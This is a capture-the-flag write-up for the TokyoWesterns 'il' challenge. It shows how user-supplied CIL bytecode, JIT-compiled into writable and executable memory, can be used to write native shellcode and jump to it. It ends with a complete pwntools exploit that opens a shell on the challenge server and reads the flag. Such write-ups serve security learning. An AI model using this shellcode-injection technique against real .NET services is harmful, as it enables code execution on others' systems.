ILStub indeed does not contain more than a stub intended as a placeholder:

// ILStub.Stub
// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
public static ulong Func(ulong arg)
{
  arg ^= 1UL;
  arg ^= 1UL;
  arg ^= 1UL;
  ...
  return arg;
}

Looking at the code in IL tells us why:

// IL.Program
// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
private static void Main(string[] args)
{
  try
  {
    Console.WriteLine("send me your spell:");
    Console.Out.Flush();
    byte[] array = Convert.FromBase64String(Console.ReadLine().Trim());
    if (array.Length > 2035)
    {
      Console.WriteLine("hey your spell is way too long!");
      Console.Out.Flush();
    }
    else
    {
      Console.WriteLine("okay, let's see what happens...");
      Console.Out.Flush();
      using (MemoryStream memoryStream = new MemoryStream(File.ReadAllBytes(Path.Join(Path.GetDirectoryName(Process.GetCurrentProcess().MainModule.FileName), "ilstub.dll"))))
      {
        memoryStream.Seek(604L, SeekOrigin.Begin);
        memoryStream.Write(array, 0, array.Length);
        memoryStream.Write(new byte[2035 - array.Length], 0, 2035 - array.Length);
        memoryStream.WriteByte(42);
        MethodInfo method = Assembly.Load(memoryStream.ToArray()).GetType("ILStub.Stub").GetMethod("Func", BindingFlags.Static | BindingFlags.Public);
        Console.WriteLine("result=0x{0:x}", method.Invoke(null, new object[]
        {
          4919UL
        }));
        Console.Out.Flush();
      }
      Console.WriteLine("well done! see you next time!");
      Console.Out.Flush();
    }
  }
  catch (Exception)
  {
    Console.WriteLine("sorry but something went wrong...");
    Console.Out.Flush();
  }
}

Basically, we are asked to supply some Base64-encoded bytecode that will be placed in ILStub, appended with a 42 and executed.

It is therefore time to play around with some CIL instructions. It turns out the appended 42 corresponds to a ret instruction, which makes sense.

As a sanity check, let’s first try to send a 0x1F: ldc.i4.s <int8 (num)> to return a value of our own:

r.recvuntil("spell:\n")
r.sendline(b64encode(b"\x1f\x42"))
okay, let's see what happens...
result=0x42
well done! see you next time!

Okay, that works.

Now, after trying out numerous things to maybe cause a crash in some way (e.g., trying to access things out-of-bound prepended with the “no fault checks” 0xFE 0x19 instruction) to no avail, the 0xFE 0x06: ldftn <method> and 0x29: calli <callsitedescr> instructions seem like interesting next targets.

Using ldftn it seems possible to get a pointer to a method, and luckily dnSpy (in “IL instruction edit mode”) assists with assembling the correct form to reference a valid method: /* 0x0000025C FE0601000006 */ IL_0000: ldftn uint64 ILStub.Stub::Func(uint64)

Let’s see what that gives us:

r.recvuntil("spell:\n")
r.sendline(b64encode(b"\xFE\x06\x01\x00\x00\x06"))
okay, let's see what happens...
result=0x7f1cf0a5cbe0
well done! see you next time!

Nice! Okay, can we interact with pointers using normal arithmetic instructions?

r.recvuntil("spell:\n")
r.sendline(b64encode(b"\xFE\x06\x01\x00\x00\x06" + # load ptr
                     b"\x1f\x42" + # load constant
                     b"\x58" # add
                     ))
okay, let's see what happens...
result=0x7f3836c7cc22
well done! see you next time!

It seems so!

Now if we only could directly call such a pointer… From the calli reference:

The ftn argument is assumed to be a pointer to native code (of the target machine) that can be legitimately called with the arguments described by callsitedescr (a metadata token for a stand-alone signature).

Initially, this seemed very promising, but sadly there appears to be no valid method-signature in the assembly that we could pass by metadata-token for callsitedescr :(

We need to look elsewhere, therefore.

So what does our code look like in memory, exactly? Since we can’t really break directly (even 0x01: break seems to be handled before gdb sees it), the alternative is an infinite loop we can interrupt. 0x27: jmp <method> seems like a good candidate, and we already know the right encoding to reference our ILStub.Stub::Func: /* 0x0000025C 2701000006 */ IL_0000: jmp uint64 ILStub.Stub::Func(uint64)

After starting gdb and manually pasting JwEAAAY = b64encode(b"\x27\x01\x00\x00\x06") (since gdb hates me and decides to crash when started through pwntools with this challenge), we can look at the memory in question:

 ► 0x7fff84462e70    push   rbp
   0x7fff84462e71    sub    rsp, 0x10
   0x7fff84462e75    lea    rbp, [rsp + 0x10]
   0x7fff84462e7a    mov    qword ptr [rbp - 8], rdi
   0x7fff84462e7e    mov    rdi, qword ptr [rbp - 8]
   0x7fff84462e82    lea    rsp, [rbp]
   0x7fff84462e86    pop    rbp
   0x7fff84462e87    jmp    0x7fff84461168
    ↓
   0x7fff84461168    jmp    0x7fff84462e70
    ↓
 ► 0x7fff84462e70    push   rbp

So our instructions get compiled directly to assembly, that’s nice. But wait, why are those jmp destinations underscored in gdb? (not shown here, because Markdown)

 0x7fff84440000     0x7fff84464000 rwxp    24000 0

Oh. It’s rwxp memory, that’s why. So, let’s try:

b64encode(b"\xFE\x06\x01\x00\x00\x06" + # load ptr
          b"\x1f\xcc" + # load 0xCC=INT3
          b"\x52" + # store at ptr
          b"\x27\x01\x00\x00\x06" # jmp back to stub
          )
send me your spell:
/gYBAAAGH8xSJwEAAAY=
okay, let's see what happens...

Thread 1 "il" received signal SIGTRAP, Trace/breakpoint trap.  

🔥


Full exploit:

#!/usr/bin/env python3

from pwn import *
from base64 import b64encode

context.binary = "./il"

r = remote("pwn02.chal.ctf.westerns.tokyo", 23541)
sh = asm(shellcraft.sh())

def encode_shellcode(s):
  code = b""
  for i in range(0, len(s), 8):
    chunk = pwnlib.util.packing.flat(s[i:i+8], filler = b"\0", length = 8)

    code += b"\xFE\x06\x01\x00\x00\x06" # load address of stub
    code += b"\x1f" + bytes([i]) # delta to start
    code += b"\x58" # add
    code += b"\x21" + chunk # load chunk of shellcode
    code += b"\x55" # store

  return code

exp = b64encode(encode_shellcode(sh) +
  b"\x27\x01\x00\x00\x06" # jmp back to stub
  )

r.recvuntil("spell:\n")

r.sendline(exp)

r.interactive()
[+] Opening connection to pwn02.chal.ctf.westerns.tokyo on port 23541: Done
[*] Switching to interactive mode
okay, let's see what happens...
$ ls
flag.txt
il
il.dll
il.runtimeconfig.json
ilstub.dll
$ cat flag.txt
TWCTF{0n3_brINgS_5h4d0W_0nE_BRIng5_LighT}